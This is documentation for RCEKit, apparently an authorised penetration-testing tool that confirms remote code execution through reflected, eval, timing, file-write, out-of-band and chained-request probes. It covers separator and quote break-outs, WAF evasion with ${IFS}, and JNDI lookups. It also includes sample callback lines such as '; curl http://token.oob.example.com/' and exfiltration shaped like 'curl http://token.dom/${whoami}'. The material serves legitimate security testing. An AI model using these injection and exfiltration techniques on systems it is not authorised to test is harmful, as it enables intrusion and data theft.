Most engagements follow the same four steps. The rest of this guide is what to do when one of them doesn't go to plan.

1. Check the input even reaches a sink — benign, no consent needed:

```
python rcekit.py --detection-only --output detect.txt
```

2. Fire the two results-based methods. They are cheap, safe, and between them cover command injection and expression injection:

```
python rcekit.py --acknowledge-consent \  
  --verify-url "https://target.example/lookup?host=FUZZ" \  
  --methods reflected,eval
```

3. If that comes back negative, add timing — the sink may execute with no output channel:

```
python rcekit.py --acknowledge-consent \  
  --verify-url "https://target.example/lookup?host=FUZZ" \  
  --methods reflected,eval,time --time-base 3
```

4. Read the tier, not just the word. `executed` goes in the report as proven execution. A weaker tier goes in your notes for what it actually proves. See Reading the results.

Point at a URL

Mark the injection point with `FUZZ` — in the URL, the `--verify-data` body, or a `--verify-header`. The method defaults to `GET`, or `POST` when you pass `--verify-data`.

```
# GET query parameter  
python rcekit.py --acknowledge-consent \  
  --verify-url "https://target.example/lookup?host=FUZZ" --methods reflected
```

```
# Header injection – the payload stays single-line so the request stays valid
python rcekit.py --acknowledge-consent \
  --verify-url "https://target.example/" \
  --verify-header "X-Forwarded-For: FUZZ" --methods reflected
```

Self-signed certificate on an internal box? Add `--insecure`. Without it, a TLS failure is reported as `error`, not `negative` — RCEKit will not let a connectivity problem read as "not vulnerable".

`--insecure` drops **every** TLS assurance, not just the certificate check: it also lowers OpenSSL's security level and its minimum protocol version. That is deliberate. Not verifying a certificate is not the same as completing a handshake, and a modern OpenSSL refuses the key sizes and signature algorithms that dated software still offers — Webmin 1.910 answers a default client with `SSLV3_ALERT_HANDSHAKE_FAILURE` and nothing else, so every probe comes back `error` and the sink behind that handshake is never tested. The connection then carries no authenticity guarantee at all, and the run says so on its first line.

Point at a captured request

Rebuilding a real request by hand is where mistakes creep in: a missing cookie, a dropped CSRF token, the wrong `Content-Type`. Save the request from Burp or your proxy and let RCEKit reuse its method, path, headers, body and cookies:

```
python rcekit.py --acknowledge-consent -r request.txt -p host --methods reflected
```

Three ways to mark the injection point:

- **Inline** — put `FUZZ` or `*` in the saved request where the payload goes.
- **By name** — `-p host` selects a parameter, searched in the order

query → body → header → cookie, and picks exactly one.

- **All of them** — `-p all` (or `--auto-params`) enumerates every candidate the capture carries, including each part of a `multipart/form-data` body.

The scheme trap. A portless capture cannot record whether it was HTTPS, so RCEKit infers `https` when the `Host` is on `:443` and `http` otherwise — which keeps lab and internal targets reachable. The inferred scheme is always printed, and a capture carrying an `Authorization` or `Cookie` header over plain `http` is flagged, because that would put credentials on the wire in cleartext. When the flag fires, re-run with the scheme pinned:

```
python rcekit.py --acknowledge-consent -r request.txt -p host \
  --request-scheme https --methods reflected
```

`Host` and `Content-Length` are recomputed for you.

Landing the payload intact

This is the single most common reason a real vulnerability comes back `negative`: the payload arrives at the sink already mangled, so nothing executes.

RCEKit encodes each payload for **the exact injection point it lands in** — a query value is percent-encoded, a JSON field is JSON-escaped, a form field is form-encoded, a header stays single-line. So `; id` is delivered as a working separator inside a JSON string, not as the literal `%3B%20id` that the sink never decodes:

```
python rcekit.py --acknowledge-consent \  
  --verify-url "https://target.example/api" --verify-method POST \  
  --verify-header "Content-Type: application/json" \  
  --verify-data '{"host": "FUZZ"}' --methods reflected
```

The body location is auto-detected from the `Content-Type` and the shape of the body. Override it when the guess is wrong:

Flag	Use when
<code>--verify-body-location json_string</code>	JSON body — escapes for JSON, no percent-encoding
<code>--verify-body-location form_value</code>	<code>application/x-www-form-urlencoded</code> body
<code>--verify-body-location raw</code>	the payload must go on the wire verbatim
<code>--verify-url-location url_path</code>	<code>FUZZ</code> sits in the path, not a query value
<code>--verify-url-location raw</code>	no URL encoding at all

If a run comes back `negative` but you can see your input echoed somewhere in the response, encoding is the first thing to suspect.

Choosing methods

`--methods` is additive — list everything you want to try, and each tier is reported separately.

You suspect	Use	Cost
Anything, first pass	<code>reflected,eval</code>	cheap, safe, no state change
A shell sink (<code>system()</code> , backticks, <code>exec</code>)	<code>reflected</code>	cheap
A template engine or expression language	<code>eval</code>	cheap
No output, but the target has egress	<code>oob</code>	one listener, no state change (see Out-of-band callbacks)
The sink interpolates an expression rather than shelling out	<code>lookup</code>	same listener; <code>oob</code> 's probes are shell commands and a <code>\${jndi:...}</code> sink runs

You suspect	Use	Cost
		none of them. Proves a lookup sink, not execution
No output, but you control a web root	file	writes files (see No-egress targets)
Execution with no output and no egress	time	slow — each probe waits on a real delay
The sink evaluates a predicate and renders nothing of it (MongoDB \$where , a filter or rule expression)	boolean	27 requests per context; reads the <i>shape</i> of the response. Proves an evaluator consumed the input, not execution

Probe depth trades requests for coverage. By default (`--probe-depth full`) each sink gets three extra probe shapes beyond the canonical ones, because the canonical ones share two blind spots: they route their arithmetic through a command substitution, and they spell the command `echo / expr` . A sink that strips `$(` blocks both (`$(` starts with `$(`), and so does a keyword filter — while the target stays trivially exploitable through a plain `;` . The extra shapes use `awk` and a bare `expr` , and one set comments out whatever the application appends after the injection point. Pass `--probe-depth quick` on a rate-limited target to halve the requests and send only the canonical probes.

It governs probe *shapes* only — never which break-outs are tried. Both depths sweep every separator, and both screen every separator in `--methods time` , because dropping one is not a saving in requests but a blind spot. Narrow that deliberately with `--separators` .

The extra shapes are all Unix ones — `cmd.exe` has no `#` comment, no `${IFS}` and no `awk` — so `--environments windows` sends the same single probe at either depth.

Scope the environments to cut noise. The shell methods (`reflected` , `file` , `time`) apply to any environment whose runtime reaches a shell — the shell environments themselves *plus* the language runtimes, because PHP's `system()` , Python's `os.system()` , Node's `child_process.exec()` , Ruby's `system()` , Perl's backticks and Go's `os/exec` all hand the string to `/bin/sh` :

```
# A PHP app – still probes for command injection, with fewer irrelevant variants
python rcekit.py --acknowledge-consent \
  --verify-url "https://target.example/x?p=FUZZ" \
  --environments php --methods reflected,eval
```

A language runtime doesn't say which OS it runs on, so its probes take the Unix shape; `--environments windows` remains the way to get `cmd.exe` probes. The data-layer environments (`sql` , `graphql` , `mongodb`) are excluded from the shell methods — reaching a shell from those needs a different escalation, so `eval` is what applies there.

When the sink filters separators

Stripping `;` is the most common partial mitigation there is, and it stops nothing on its own — the same sink stays exploitable through a pipe, a chain operator or a newline. So the shell probes sweep `;`, `|`, `||`, `&&` and a newline **by default**, and a filter that drops any one of them is still reached.

Both chain operators are tried on purpose: the command your input lands in may succeed or fail, and only one of `&&` / `||` fires either way.

Once you know the sink's shape, narrow the sweep to cut the request count:

```
python rcekit.py --acknowledge-consent \  
  --verify-url "https://target.example/ping?ip=FUZZ" --methods reflected \  
  --separators '| ,&& '
```

Write a newline as `\n`. A single-separator run (`--separators ';' '`) is the quietest option when you already have a confirmed hit and just want to re-prove it for the report.

Injecting inside quotes

If the sink builds `ping '<input>'`, a leading `;` never fires — it is inside the quoted string. The break-out has to close the quote first, which is what the `shell_single_quoted` / `shell_double_quoted` contexts do.

You no longer have to ask for them. Both are probed by default, so a quoted sink is reached by an ordinary run. Naming `--contexts` explicitly turns that off — a narrowed run is a deliberate choice about what to send, and RCEKit will not widen it behind you:

```
# Reaches a quoted sink on its own  
python rcekit.py --acknowledge-consent \  
  --verify-url "https://target.example/ping?ip=FUZZ" --methods reflected  
  
# Only the quoted contexts, when you already know the sink's shape  
python rcekit.py --acknowledge-consent \  
  --verify-url "https://target.example/ping?ip=FUZZ" --methods reflected \  
  --contexts shell_single_quoted shell_double_quoted
```

Whole-command sinks

By default the shell probes assume there is a surrounding command to break out of (`system("ping " + input)`), so they lead with a separator. Some sinks instead run your input as the **entire** command — a `qx/$input/` backdoor, a bare `sh -c "$input"` — where there is nothing to break out of and a leading `;` is a shell syntax error that guarantees a false negative.

```
python rcekit.py --acknowledge-consent \  
--verify-url "https://target.example/run?cmd=FUZZ" --methods reflected --sink-raw
```

`--sink-raw` sends the probes as bare commands and ignores `--separators`.

Windows and PowerShell sinks

A shell probe is written in a dialect. `$(a+b)`, `sleep 5` and `$(echo TAG)` are POSIX constructs — on `cmd.exe` or PowerShell they are inert text, so a probe in the wrong dialect costs a request and can only come back `negative`.

By default RCEKit infers the dialect per carrier, so an ordinary run already sends `cmd.exe` and PowerShell probes alongside the POSIX ones. You need `--sink-env` when the inference cannot see the answer, and there is one common case where it cannot: **the corpus environment names the application runtime, not the OS**. A PHP or Java application on IIS is a Windows target that every inference reads as POSIX.

```
# A PHP application on Windows: the runtime says PHP, the shell is cmd.exe  
python rcekit.py --acknowledge-consent \  
--verify-url "https://target.example/tool?host=FUZZ" \  
--environments php --methods reflected --sink-env windows  
  
# The sink goes through powershell.exe  
python rcekit.py --acknowledge-consent \  
--verify-url "https://target.example/tool?host=FUZZ" \  
--methods reflected,time --sink-env powershell
```

Two dialect facts change what a run can reach, and both are worth knowing before you read a `negative`:

- **cmd.exe has no comment character and no command substitution**, so the `sq`, `dq` and `subshell` rungs have no shape it can execute. Pinning `--sink-env windows` narrows the ladder to `sep`, `raw` and `chain`, and the pre-flight plan prints that.
- **PowerShell has no pipe break-out**. `cmd | Start-Sleep -Milliseconds 500` is a parameter-binding error, not a fresh command with stdin attached. If the sink strips `;`, reach for a newline or — on PowerShell 7 — `&&`.

The full per-dialect table (cores, separators, contexts) is in [reference.md](#).

Working around a WAF

The default sends **clean, canonical** payloads: fewest variants, clearest confirmation, lowest false positives — on the assumption of authorised, WAF-free access. That default is a feature;

noisy evasion buys blocked requests and muddy evidence.

A space filter is not a WAF, and you don't need this flag for it. Stripping spaces looks like it disarms command injection and does not — `${IFS}` is a space as far as the shell is concerned. Since every other probe carries a space, that one filter used to silence all of them, so one space-free probe now ships at both probe depths and reaches such a sink on an ordinary run.

When there is genuinely a WAF in the path, `--evade low` opts into a single low-touch transform — `${IFS}` for spaces, applied to every shell probe rather than the one dedicated shape:

```
python rcekit.py --acknowledge-consent \  
  --verify-url "https://target.example/ping?ip=FUZZ" --methods reflected --evade low
```

It is deliberately minimal. If `low` isn't enough, the answer is usually a better injection context or a different separator, not heavier obfuscation.

Blind targets

No output channel at all? Reach for `oob` first — it is the only method that can *confirm* a blind sink (see Out-of-band callbacks). Timing is the fallback when the target has no egress either.

A results-based method cannot confirm a blind sink, and that is not a limitation to route around — there is simply nowhere for the computed value to appear. A `reflected,eval` run against one is therefore *not* evidence the target is clean, so when every in-band probe comes back negative RCEKit now says so and names the methods that could still reach it:

```
[detect] A sink that returns NO OUTPUT cannot be confirmed by eval/reflected – there is  
nowhere for the computed value to appear, so a negative here does not rule out execution.  
Methods that reach a blind sink:  
[detect]   --methods oob --oob-host HOST --verify-active-risk intrusive   (needs egress  
from the target; confirms)  
[detect]   --methods file --webroot DIR --web-base-url URL   (needs a writable web root;  
confirms)  
[detect]   --methods time                                     (no egress and no web root needed; reports  
timing-sink, NOT execution)
```

RCEKit screens each candidate separator with one cheap probe, then fires a controlled `0/N/2N` delay series through whichever one actually delayed, and requires the response time to track it — about one second of latency per injected second. A one-off slow response (jitter, GC pause, noisy neighbour) fails the regression, and so does a target that is merely getting slower as the run goes on: the probe order is randomised and the request index is modelled as a separate term, so drift cannot masquerade as a sleep.

```
python rcekit.py --acknowledge-consent \  
  --verify-url "https://target.example/ping?ip=FUZZ" \  
  --methods reflected,time --time-base 3
```

Two things worth internalising:

- **Timing never proves execution.** There is no computed value to check, so a positive timing result is reported `timing-sink`, always. That tier is proven — jitter and drift are modelled out — and what it proves is that the target honoured an injected delay, not that a shell ran.

- **Always pair it with a results-based method.** Listing `reflected` alongside `time` costs almost nothing and, if any output channel exists at all, carries the finding from `timing-sink` to `executed`.

Raise `--time-base` on a slow or noisy target; the regression gets easier to separate from background variance as `N` grows, at the cost of a slower run.

No-egress targets

Internal target, no outbound connectivity, no output in the response — but you know a directory the web server writes and serves. Prove execution by writing a random token and fetching it back:

```
python rcekit.py --acknowledge-consent \  
  --verify-url "https://target.example/ping?ip=FUZZ" \  
  --methods file --webroot /var/www/html --web-base-url https://target.example
```

This confirms execution **plus** a write primitive, with no external listener anywhere in the picture.

It changes target state. One file per confirmed probe, which is why the method is gated behind both `--webroot` and `--web-base-url`. RCEKit prints an exact `rm / del` **cleanup command** for every finding — run it before you leave, and paste it into the report so the client can verify the target was left clean.

A stale file can't produce a false positive: both the filename and the token are freshly random each run.

Upload and write-primitive targets

Some vulnerable requests do not evaluate anything — they **store a file**. A PUT that lands a `.jsp` in the web root, an upload endpoint that does not check the extension, an export handler that writes where you point it. Nothing in the response is computed, so `reflected` and `eval` correctly return `negative` on a target you can fully own.

`--methods write` inverts the question. It writes a one-liner that *computes* a product, then fetches the file back and reads which of three things happened:

The fetched file contains	Verdict	What you have
the product	executed	remote code execution
the one-liner, verbatim	file-write	arbitrary file write — served, not interpreted
neither	negative	no write, or the file is not served there

That middle row is the one to know about. An upload directory that is served but not interpreted is a real finding and it is **not** RCE, so RCEKit reports it in its own tier rather than rounding it up or down.

```
# put-jsp.txt is your own captured request; FUZZ marks the body
python rcekit.py --acknowledge-consent \
  -r put-jsp.txt --methods write \
  --write-url-template "https://target.example/uploads/rcekit-probe.jsp"
```

You choose the filename, RCEKit chooses the content. Delivery substitutes one injection point, and this class of target needs two — the name in the request line, the content in the body — so put the name in your request and point `--write-url-template` at exactly that file. One artifact per run, and every finding (both tiers) prints a cleanup line naming it.

`--write-lang` narrows the file types. `auto` reads the extension off the read-back URL, so a `.jsp` costs one request; with no extension to read it writes all five languages, which is three requests because `jsp`, `aspx` and `erb` share the `<%= %>` delimiters.

When execution happens on another request

You inject into `POST /bio` and the response says `saved`. Nothing to diff, so the run comes back `negative` — and the payload runs half a second later, when somebody loads the profile page. Stored SSTI, a payload written to a log a template renders, a queued job: same shape every time.

`--observe-url` points at the place it surfaces:

```
python rcekit.py --acknowledge-consent \
  --verify-url "https://target.example/bio?bio=FUZZ" --methods eval \
  --observe-url "https://target.example/profile/42"
```

If that page needs a session, hand it a captured request instead — it takes no `FUZZ` marker, because it is read, never injected into:

```
python rcekit.py --acknowledge-consent \  
  --verify-url "https://target.example/bio?bio=FUZZ" --methods eval \  
  --observe-request profile.txt --observe-poll 10 --observe-timeout 120
```

This still reaches `executed` rather than a weaker tier, and the reason is worth knowing: the value is computed by RCEKit from operands random to that probe, it must be absent from a snapshot of the observed page taken *before any probe was sent*, and it is only looked for there when the probe's own payload does not already contain it. That last rule is why `file` and `oob` sit this out — their expected value is a token that rides in the payload, so a page that simply stores and re-renders your input would hand it back and "confirm" nothing.

Two costs to know about. The observed page is read once after **each** probe as well as polled after the batch, because a store that *overwrites* (a profile field) keeps only the last probe by the time a batch poll runs — so a run with `--observe-url` sends roughly twice the requests. And if that endpoint never answers, RCEKit says so loudly rather than letting the negatives read as a second-order result.

Out-of-band callbacks

RCEKit ships its own HTTP/DNS listener, so you don't need interactsh or Collaborator. There are two ways to use it.

As a detection method

`--methods oob` starts the listener in-process and drives the whole loop itself: it fires probes that ask the target to resolve or fetch `<token>.<oob-host>`, waits for the callbacks, and reports each probe by whether *its own* token came back. This is the only method that reaches `executed` on a sink that returns nothing and has no writable web root.

```
python rcekit.py --acknowledge-consent \  
  --verify-url "https://target.example/ping?ip=FUZZ" \  
  --methods reflected,oob --oob-host oob.example.com \  
  --verify-active-risk intrusive --listen-dns-port 53
```

It makes the target open outbound connections, so it sits behind the same safety tier as the corpus OOB payloads: `--verify-active-risk intrusive`, on top of `--oob-host`.

`--oob-host` must be something the **target** can reach that arrives at your listener: a domain whose NS records are delegated to this host, or a routable IP. With a bare IP the token rides in the URL path instead of a DNS label, and the DNS shapes are skipped rather than sent as probes that could never call back.

The DNS shapes matter more than the HTTP ones: egress filtering that blocks outbound HTTP usually still lets the resolver out. One shape goes further and puts a computed value in the label — `$((a+b)).<token>.<host>` — so the callback proves the shell *evaluated arithmetic*, not merely that something resolved a name it was handed.

This makes the target open outbound connections, which is why it never runs unless you name the host.

As a standalone listener

For blind classes that reach out on their own schedule — Log4Shell/JNDI, DNS exfil, async jobs — generate OOB payloads with a domain you control, then listen and correlate:

```
python rcekit.py --acknowledge-consent --categories oob \
  --oob-domain your-id.oob.example.com --output oob.txt
```

```
python rcekit.py --listen --correlate oob.txt.map.jsonl \
  --listen-http-port 8080 --listen-dns-port 53
```

```
[HIT] http token=8k2hn1ufohpv from 10.0.0.5 -> ; curl http://8k2hn1ufohpv.oob.example.com/
[oob/raw]
```

Each payload carries a unique token, recorded in a `.map.jsonl` manifest, so every callback maps back to the exact payload that caused it. Correlation matches the token in the callback **host or path**, so exfil shaped like `curl http://token.dom/${whoami}` still resolves.

For a real engagement, point the OOB domain's NS/A records at the listener; port 53 needs root. In a lab, skip the DNS delegation and aim payloads straight at the listener's address.

Multi-step chains

A single request cannot reach a sink that sits behind a login, arrives inside **uploaded file content**, or executes **blind/async** minutes later. `--verify-chain` drives an ordered, cookie-aware flow — login → CSRF extraction → prerequisites → payload delivery → trigger — and confirms either **in-band** (a `match` oracle on a chosen step) or **out-of-band** (a `{callback}` URL received by the built-in listener).

```
{
  "base": "https://target.example",
  "callback_host": "10.0.0.5", "listen_port": 8877, "confirm_step": "trigger",
  "steps": [
    {"name": "csrf", "method": "GET", "path": "/login", "extract": {"csrf":
"csrf_token\" value=\"([^\"]+)\"}},
    {"name": "login", "method": "POST", "path": "/login", "form": {"csrf": "{csrf}",
"user": "u", "pass": "p"}},
    {"name": "upload", "method": "POST", "path": "/import", "multipart": {"file": {"field":
"f", "filename": "x_{token}.sql", "content": "FUZZ"}}},
    {"name": "trigger", "method": "POST", "path": "/import/run", "json": "{\"file\":
\"x_{token}.sql\"}"
  ]
}
```

```
python rcekit.py --acknowledge-consent --environments postgres --categories code_execution \
--contexts raw --encodings none --verify-active-risk intrusive --verify-chain chain.json
```

Each step is a `method` + `path` (+ optional `headers`) with exactly one body of `body` (raw), `json`, `form`, or `multipart`. Three substitutions do the work:

Marker	Meaning
<code>FUZZ</code>	where the payload goes — including inside uploaded file content
<code>{var}</code>	a value captured by an earlier step's <code>extract</code> regex
<code>{token}</code>	a per-payload unique value, for correlating the trigger back to the delivery

Reading the results

Verdict	What it means	What to do
<code>executed</code>	Execution proven. The evidence line shows the exact value the target computed.	Put it in the report.
<code>timing-sink</code> / <code>file-write</code> / <code>evaluation-sink</code>	Proven, and about something other than execution: a delay honoured, a file written, an evaluator that consumed the input.	Report what the tier says. Do not call any of them RCE.
<code>needs-review</code>	A real candidate that is not proof on its own — <code>deser</code> 's parser fingerprint.	Manual follow-up. Never report as proven.
<code>negative</code>	Reached the target, found no evidence.	Suspect encoding or sink shape before concluding it's safe.

Verdict	What it means	What to do
inconclusive	Evidence appeared, but also appears <i>without</i> the payload — so it isn't attributable to execution.	Not a finding. This is the false positive that never made it out.
error	The request never reached the target — a delivery or TLS failure.	Fix connectivity, then re-run. For a self-signed cert, add <code>-insecure</code> .

`error` is kept separate from `negative` on purpose: a connectivity problem must never read as "not vulnerable".

<details> <summary>Why an <code>executed</code> can't be a false positive</summary>

Every confirmation is **differential** and built on a value RCEKit picked at random, so reflection or coincidence can't produce it:

- **Results-based (`reflected` / `eval`)** — the expected value is a tag-wrapped

sum or a boundary-fenced product of random operands. A target that merely echoes the payload returns the literal `$( (a+b) ) / a*b`, never the computed value. The value is also checked against a payload-free control, and the search is encoding-aware (a base64/hex/url/html-encoded output still confirms).

- **Timing (`time`)** — a controlled `0/N/2N` series must produce a *linear*

response-time increase; a one-off slow response fails the regression. Timing has no computed value, so it never self-confirms.

- **File (`file`)** — the fetched file must contain the random token; a stale file

can't match, because the filename and token are fresh each run.

</details>

Keeping the run quiet

Verification is active traffic. When the engagement calls for restraint:

```
python rcekit.py --acknowledge-consent \
  --verify-url "https://target.example/ping?ip=FUZZ" --methods reflected \
  --separators ';' --contexts raw --environments unix \
  --verify-delay 2 --max-payloads 20
```

- `--verify-delay` — seconds between requests, for rate limits and for staying under detection thresholds.
- `--separators` / `--contexts` / `--environments` — every narrowing cuts probes.
- `--max-payloads` — a hard cap, sampled round-robin so the remaining probes stay

balanced across variants rather than all coming from one bucket.

- `--verify-timeout` — lower it on a fast target so dead probes fail quickly.

Note that `--max-payloads` caps *generation*, so combine it with the narrowing flags rather than relying on it alone to pick the interesting probes.

Troubleshooting

"Payload corpus is not usable" / RCEKit refuses to start. The corpus RCEKit was told to use is unparseable, or an explicit `--template-file` does not exist. It exits non-zero rather than silently testing nothing:

```
python rcekit.py --doctor    # prints which corpus is in use and its payload counts
```

A *missing* `templates/payloads.json` is not this error: `rcekit.py` carries a built-in copy and falls back to it, printing a notice. So a lone `rcekit.py` copied onto a jump box runs fine. What still hard-fails is a corpus that exists but is broken — truncated, tampered with, quarantined and replaced by your EDR — because falling back there would hide exactly the problem the check exists for.

Point `--template-file` at your own corpus to override both. YAML is not supported; the corpus is JSON, because RCEKit is standard-library only.

A run reports that it built no probes, and exits non-zero. Your filters excluded everything — commonly `--environments sql` with a shell method, or a `--deny-chars` set that removed every candidate. A run that tested nothing is never reported as a clean result, which is why this is an error rather than a `negative`. When the declared target profile is what emptied it, the message says so and names the characters a probe would have to avoid, rather than sending you to widen `--environments`. A run whose profile removed only *some* probes still reports how many and why, so a ladder never shrinks silently.

Everything comes back error. The requests aren't reaching the target. Check the printed scheme if you used `-r` (see Point at a captured request), add `--insecure` for a self-signed certificate, and confirm the host is reachable at all.

A known-vulnerable target comes back negative. In rough order of likelihood: payload encoding, a whole-command sink needing `--sink-raw`, a quoted context, a filtered separator, or a blind sink that needs `time` or `file`.

Where the logs go. Execution logs land in `rcekit.log`; every exploitation/verification run is additionally recorded in `exploit_audit.log`. Both are worth attaching to an engagement's evidence bundle.

`docs/reference.md`

[View original document](#)

Reference

Every flag and every taxonomy, grouped by what you are trying to do. If you are looking for *how to use these together*, the [field guide](#) is the better starting point — this page is for looking things up once you know what you want.

Contents

- Choosing the target
- Detection methods
- Sink shape
- The sink shell
- Deserialization sinks
- Query-language bridges
- Second-order execution
- Safety & consent
- Out-of-band listener
- Generation & output
- Diagnostics
- Environments
- Categories
- Contexts
- Encodings
- Code-execution sinks
- Exit codes

Choosing the target

Option	Description	Default
<code>--verify-url</code>	Authorised target URL with a <code>FUZZ</code> marker	None
<code>--verify-method</code>	HTTP method for <code>--verify-url</code>	<code>GET</code> , or <code>POST</code> with <code>--verify-data</code>
<code>--verify-data</code>	Request body; put <code>FUZZ</code> where the payload goes	None
<code>--verify-header</code>	Header <code>'Name: value'</code> (repeatable); may contain <code>FUZZ</code>	None
<code>-r</code> , <code>--request-file</code>	Raw HTTP request to inject into (mark with <code>FUZZ / *</code> or <code>-p</code>)	None
<code>-p</code> , <code>--param</code>	Parameter/field/header/cookie to inject into for <code>-r</code> (query → body → header → cookie)	None

Option	Description	Default
<code>--request-scheme</code>	<code>http</code> / <code>https</code> for the URL built from <code>-r</code>	auto
<code>--verify-url-location</code>	Where <code>FUZZ</code> sits in the URL: <code>query_value</code> , <code>url_path</code> , <code>raw</code>	<code>query_value</code>
<code>--verify-body-location</code>	How to encode <code>FUZZ</code> in the body: <code>json_string</code> , <code>form_value</code> , <code>raw</code>	auto
<code>--verify-delay</code>	Seconds between verification requests (rate limiting)	0
<code>--verify-timeout</code>	Per-request timeout in seconds	8
<code>--insecure</code>	Drop every TLS assurance: no certificate or hostname check, and OpenSSL's security level and minimum protocol version lowered so a legacy stack still completes a handshake	Off
<code>--verify-chain</code>	JSON chain profile for multi-step, session-aware verification	None

Detection methods

Option	Description	Default
<code>--methods</code>	Comma-separated: <code>reflected</code> , <code>eval</code> , <code>file</code> , <code>write</code> , <code>oob</code> , <code>lookup</code> , <code>time</code> , <code>deser</code> , <code>boolean</code>	None
<code>--file-write-path</code>	(<code>file</code>) server-side directory the target can write to, e.g. <code>/tmp</code>	None
<code>--file-read-url</code>	(<code>file</code>) URL template that reads it back: <code>{name}</code> , <code>{path}</code> , <code>{path_enc}</code>	None
<code>--webroot</code>	(<code>file</code>) web-root alias for <code>--file-write-path</code>	None
<code>--web-base-url</code>	(<code>file</code>) web-root alias for <code>--file-read-url</code> ' <code><base>/{name}</code> '	None
<code>--write-url-template</code>	(<code>write</code>) URL the file your request stores is served at; required for <code>write</code>	None
<code>--write-lang</code>	(<code>write</code>) File types to write: <code>auto</code> , or any of <code>jsp</code> , <code>jspx</code> , <code>php</code> , <code>aspx</code> , <code>erb</code>	auto
<code>--deser-formats</code>	(<code>deser</code>) Serialization ecosystems to probe: <code>auto</code> , or corpus names	auto
<code>--bridges</code>	Query-language bridges the command probes ride: <code>none</code> (default), <code>auto</code> , or corpus names	none
<code>--observe-url</code>	Second-order: endpoint polled for the computed value after the probes	None

Option	Description	Default
<code>--observe-request</code>	Raw HTTP request for that endpoint instead of <code>--observe-url</code> (no marker)	None
<code>--observe-poll</code>	Seconds between polls of the observed endpoint	5
<code>--observe-timeout</code>	Stop polling after this many seconds; one poll always happens	60
<code>--oob-host</code>	(oob) host the target calls back to; required for oob	None
<code>--time-base</code>	(time) base delay N ; the regression fires 0/N/2N	2.0
<code>--separators</code>	Break-out separators for shell probes; <code>\n</code> = newline	<code>;</code> , <code>`\`</code>
<code>--evade</code>	How far a REFUSED probe may climb: none , low (\${IFS}), high (also ec\$@ho)	high
<code>--probe-depth</code>	full (also the substitution-free and comment-terminated shapes) or quick	full
<code>--confirm-depth</code>	Once a carrier confirms: first (stop that carrier) or every (map every shape it accepts)	first
<code>--detect-json</code>	Also write the run to this path as JSON: overall verdict, counts, every probe	None
<code>--sink-shape</code>	Sink shapes the shell probes try: auto , or any of sep , raw , chain , newline , dq , sq , subshell	auto
<code>--sink-env</code>	Shell that runs the injected command: auto , unix , windows , powershell	auto
<code>--eval-engines</code>	(eval) Engine carriers to add to the bare expression probes: auto , or names from eval_carriers	auto
<code>--auto-params</code>	(-r with --methods) Enumerate injection points: kinds from query , json , form , multipart , cookie , header , path , or all . Implied by -p all	off
<code>--point-order</code>	(enumeration) fast (curated high-yield headers) or thorough (every non-hop-by-hop header)	fast
<code>--max-points</code>	(enumeration) Stop after N candidates; the run reports how many it dropped	40
<code>--include-path-segments</code>	(enumeration) Also inject into URL path segments	off

<code>--methods value</code>	Confirms	Rung	Tier it can reach
reflected	OS command injection, via computed arithmetic	safe	executed
eval	SSTI / SpEL / OGNL / Groovy / raw eval() , via a computed product	safe	executed

--methods value	Confirms	Rung	Tier it can reach
file	Execution + a write primitive, via write-and-fetch	stateful †	executed
write	A write primitive proven to be RCE, by executing the written file	stateful †	executed, or file-write for a write that is served but not interpreted
oob	Blind execution, via a DNS/HTTP callback carrying a per-probe token	intrusive	executed
lookup	An expression-lookup sink (Log4Shell's shape): the sink resolves a <code>\${jndi:...}</code> URI rather than running a command, and calls back carrying a per-probe token. Sends <code>dns://</code> at <code>intrusive</code> , and <code>ldap://</code> / <code>rmi://</code> as well at <code>stateful</code> . Needs a name for <code>--oob-host</code> ; an address literal carries no token, so it builds nothing	intrusive	lookup-sink
time	Blind execution, via a <code>0/N/2N</code> regression	safe	timing-sink only — proven, and not execution
deser	That the endpoint deserializes attacker data — never RCE	safe	deserialization-sink, or needs-review for the shape fingerprint
boolean	A sink that evaluates a predicate and renders nothing of it (MongoDB <code>\$where</code> , filter and rule expressions), via a response-shape differential across randomised true/false comparisons. The <code>OR</code> connectives need <code>stateful</code> ; everything else is inert	safe	evaluation-sink only — proven, and not execution

Rung is the `--verify-active-risk` tier a method needs. A method above the run's tier is refused **by name** rather than skipped, because a run that quietly tested nothing reads exactly like a clean target. Within a method, a probe *shape* may need a higher rung than the method does -- `lookup` resolves a name at `intrusive` and can also fetch from an address it did not choose at `stateful` -- and the run reports how many shapes it held back and which flag would send them.

† `file` and `write` change the target, and their own configuration is what gates them: neither does anything until a directory to write into and a URL to read it back from are named, which says more than a tier would. Running them does not need the flag.

Probe depth

One extra shape is sent at **both** depths, because it costs a single shape and closes a whole filter class:

- **space-free** (`echo${IFS}...`) — stripping spaces looks like it disarms

command injection and does not, since `${IFS}` is a space to the shell. Every other probe carries a space, so this one filter silenced all of them. The separator's trailing space is trimmed too (`;echo...` , not `; echo...`), and the newline separator survives unchanged.

`full` sends three further shapes per sink, each aimed at a filter that silences the canonical probes:

- **substitution-free** (`awk` , bare `expr`) — both canonical probes route the

arithmetic through `$((...))` or a backtick, so a sink that strips `$()` blocks them while remaining exploitable through a plain `;`. The `awk` shape carries double quotes, so it is not sent into a context that *wraps* the payload in them (`attribute`): the quote would close early and the probe could only ever come back negative. Break-out contexts such as `shell_double_quoted` close the sink's quote and comment its tail, so they still get it.

- **keyword-diverse** (`awk` again) — a filter on `echo / expr` blocks both

canonical probes; `awk` is not on those blocklists.

- **comment-terminated** (`... #`) — comments out whatever the application appends

after the injection point. A trailing redirect or pipe (`ping <input> 2>/dev/null` , `<cmd> <input> | grep ...`) otherwise swallows the probe's output, so the probe executes and still reads as negative.

`quick` sends only the canonical probes — roughly half the requests, for rate-limited targets or when the sink's shape is already known.

All of these shapes are Unix, and `--probe-depth` therefore means something different per sink shell:

- **cmd.exe** has no `#` comment, no `${IFS}` and no `awk` , so it gets the one

set `/a` probe at either depth — `--probe-depth` changes nothing for it.

- **PowerShell** takes the comment terminator (`#` comments to end of line there

too), and `full` adds a second shape that names no cmdlet at all — a bare expandable string, whose value PowerShell writes to the output stream — so a filter on `Write-Output / echo` does not silence the method.

`--probe-depth` governs probe *shapes* only. It does not narrow the separator sweep, and it does not narrow the separator screen `--methods time` runs: both depths try every candidate break-out, because dropping one is not a saving in requests but a blind spot. Use `--separators` to narrow that deliberately.

File-based confirmation, and what counts as read-back

`--methods file` makes the target write a random token to a file and then fetches it back. The token is present only if the command executed *and* the write landed somewhere readable — the confirmation channel is the target's own read-back path, so no external listener is needed.

That path **does not have to be a web root**. Name the two halves directly:

```
# An LFI / download / export handler that takes a server-side path
python rcekit.py --acknowledge-consent --verify-url "https://target/lookup?host=FUZZ" \
  --methods file \
